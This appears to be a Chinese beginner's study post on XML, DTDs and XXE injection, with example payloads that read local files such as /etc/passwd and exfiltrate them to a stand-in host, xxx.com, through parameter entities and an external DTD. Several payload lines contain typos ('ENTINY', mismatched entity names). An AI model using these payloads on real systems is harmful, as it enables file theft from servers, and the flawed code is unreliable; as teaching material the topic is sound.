前言

本文是初学web安全时写的,有许多地方不够严谨,逻辑上也存在问题,请见谅~

XML与HTML的不同

与html区别:html表示与数据相关,XML更多用于数据传输、存储

XML结构

image-20240911200426825

1
2
3
<?xml version="1.0"?>表示版本号,xml处理解析时的规范
<Person>...</Person>表示根元素,XML文档需有且仅有一个根元素
根元素内有两个赋值的嵌套标签子元素<Name></Name>,<Age></Age>

注意:元素标签名对大小写敏感

image-20240911201050310

上述单独字符不能直接出现,会被错误解析

实体(ENTITIY)

ENTITY就像XML中的变量,可以对其进行赋值,在XML文档的其他地方进行引用,实体在XML的文档类型定义部分(DTD)被单独定义描述

XML 文档的根元素通常与 DTD 中定义的根元素名称相匹配

image-20240911201641310

1
2
3
4
5
6
7
8
<!DOCTYPE Person [
<!ENTITY name "XXX">
]>
<Person>
<Name>&name;</Name>
<Age>20</Age>
</Person>
前面的DOCTYPE表示这是一个DTD,用ENTITTY定义了一个叫做name的实体,赋值为XXX;后面可以直接用&跟上实体名引用这个实体,可以防止重复赋值

DTD分类

DTD并不是XML文档的一部分,它们总是在根元素的定义之上->DTD像实体一样可以从外部加载

  • 一般实体/通用实体(general entities)

    如上面的那个实体

    引用外部dtd:

    解析器将从这个外部dtd中提取并解析内容

    1
    2
    <!DOCTYPE Pwn SYSTEM "xxx.dtd"> dtd的URI
    <Pwn>test</Pwn> 是 XML 文档的根元素,它的名字与 DOCTYPE 声明中的名称相匹配。这意味着 Pwn 是这个 XML 文档的根元素,它包含的文本是 test。
  • 参数实体

    必须定义在单独的dtd区域内,参数实体只能在同一个DTD中调用

    比如,用一个实体给另外一个实体赋值

    1
    <!ENTITY % outer <!ENTITY inner  "xxx">>

    ​ 常用于XXE(外部实体注入)

    dtd中调用参数实体

    参数实体只能在同一个DTD中调用!!!

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE Pwn[
    <!ENTITY % outer "<!ENTITY inner SYSTEM 'xxx'>">
    %outer;
    ]>
    <Pwn>&inner;</Pwn>

    image-20240911213347867

    XML调用DTD中实体参数的大概流程:XML解释器发现这段代码时,先检查版本;然后发现dtd,这个dtd在xml文档中,可以叫做内联dtd,%开头的是参数实体标志,%outer的值是inner中解析出的东西;调用被赋值的%outer相当于

  • 预定义实体

    某些特殊符号的一组预定义数值集,这些特殊符号有可能会破坏XML结构(报错),可以选择用其他形式比如十六进制表示这类符号

    1
    <test>&#x3C;</test> 这一串十六进制表示了<

XML安全性问题

  • ENTITY

    实体可以被赋值(存储数据),但是实体功能不止这个,外部实体就是其中一个功能。

    实体不仅能用来存储指定数值,还可以从本地文件或远程网络中调取相关数据,作为后续实体引用,但是这样带来了广泛的攻击面

    比如:

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE XXE[
    <!ENTITY subcribe SYSTEM "secret.txt">
    ]>

    <pwn>&subscribe;</pwn>

    SYSTEM表示后面的内容是外部实体;

    如果外部实体长得是标签或者和XML很像的东西,XML解析器会报错;

    这样的实体赋值并不是secret.txt,而是其中的内容,XML在此接收任意有效的URI包括文件,HTTP,ftp和其他协议形式的内容

    外部实体读取了数据,这种就是外部实体注入攻击(XXE)

    外部实体注入攻击(XXE)

    分类

    带内数据

    上面的示例涉及的就是带内XXE;

    XML解析后的输出会直接显示在屏幕上

    基于错误

    解析结果只有错误信息(类似Blind XXE)

    带外数据

    OOB;真正的盲注,XML解析后无任何输出响应(无回显),必须执行一些带外请求把目标数据提取出来

    场景:

    image-20240911210308114

    有一个能解析XML但是没有任何输出响应的web应用,为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的web应用,可以用dns平台监听web应用是否解析了XML,也可以用自己构造好的网站(SYSTEM后的外部实体URL为测试的地方)

image-20240911211102130

如果监听到了,就说明XML被成功解析,目标web应用正在尝试获取我们构造的网站上的资源作为外部实体,这样我们可以利用受害者的身份发起请求(服务器端请求伪造(SSRF))

Payload

eg:

image-20240911214058914

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTINY %passwd SYSTEM "/etc/passwd">
<!ENTINY %wrapper "<!ENTINY send SYSTEM 'http://xxx.com/?passwd;'>">
%wrapper;
]>
<pwn>send;</pwn>

XML解释器会先解析/etc/passwd的内容赋值到参数实体%passwd中,然后解析URL中的内容赋给实体send,send再赋给参数实体%wrapper

但是这样会报错,根据xml规范, dtd内部子集的参数实体调用不能在实际的标记语言(html,svg等)中来调用参数实体,但是可以在同级别中被当作标记语言调用,外部参数实体不受此限制,可以借助外部dtd绕过这个限制

image-20240911220104480

比如payload形式为:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "/xxx/xx/x/test.dtd">;

<data>&send;</data>
莫名冒出来的send实体就来自外部的dtd

image-20240911220628961

image-20240911220643534

%passwd最终会变成URL的一部分

image-20240911220809746